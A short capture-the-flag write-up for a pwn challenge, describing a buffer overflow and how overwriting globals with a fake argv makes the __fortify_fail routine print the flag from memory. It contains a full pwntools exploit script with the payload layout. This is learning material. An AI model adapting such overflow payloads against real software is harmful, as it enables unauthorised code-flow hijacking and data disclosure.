I fail to solve this challenge during the contest. There is a simple buffer overflow vulnerability in this challenge and trigger control flow hijacking. But I spent a lot of time searching for ROP gadgets in the binary. After reading , I know I am too naive.
There is a buffer overflow vulnerability in the challenge. After inputting a long sequence of “A” and some testing, we can get a crash at following site.
From the analysis above, I know that I can hijack control flow now. But I focus on searching ROP gadgets to pwn a shell failing to consider other possibilities.
The flag is actually located at 0x6b4040. Therefore we just need to print the string located at 0x6b4040.
After searching through the other global values that can be overwritten, we can use the fortify_fail function to do this via forging a argv variable in memory.
from pwn import * DEBUG = int(sys.argv); if(DEBUG == 0): r = remote("126.96.36.199", 1337); elif(DEBUG == 1): r = process("./readme"); elif(DEBUG == 2): r = process("./readme"); gdb.attach(r, '''source script'''); def halt(): while(True): log.info(r.recvline()); fortifyFail = 0x4359e0; flagAddr = 0x6b4040; fakeArgc = 1; # 0x6b7978 fakeArgv = 0x6b7a10; #0x6b7980 fakeFunctionTable = 0x434343434343; fakeArginfoTable = 0x6b7a20 - 0x73*8; fortifyFailAddr = 0x4359d0; def exploit(): payload = p64(0x424242424242)*179; payload = payload + p64(fakeArgc) + p64(fakeArgv); payload = payload + p64(0)*17 + p64(flagAddr) + p64(0) payload = payload + p64(fortifyFailAddr) + p64(fakeFunctionTable); payload = payload + p64(0)*15 + p64(fakeArginfoTable); r.sendline(payload); halt(); exploit();
It’s a good lesson for CTF challenges. CTF pwn is not just about heap exploitation and pwning a shell. When entering into a dead end, try to consider other possibilities.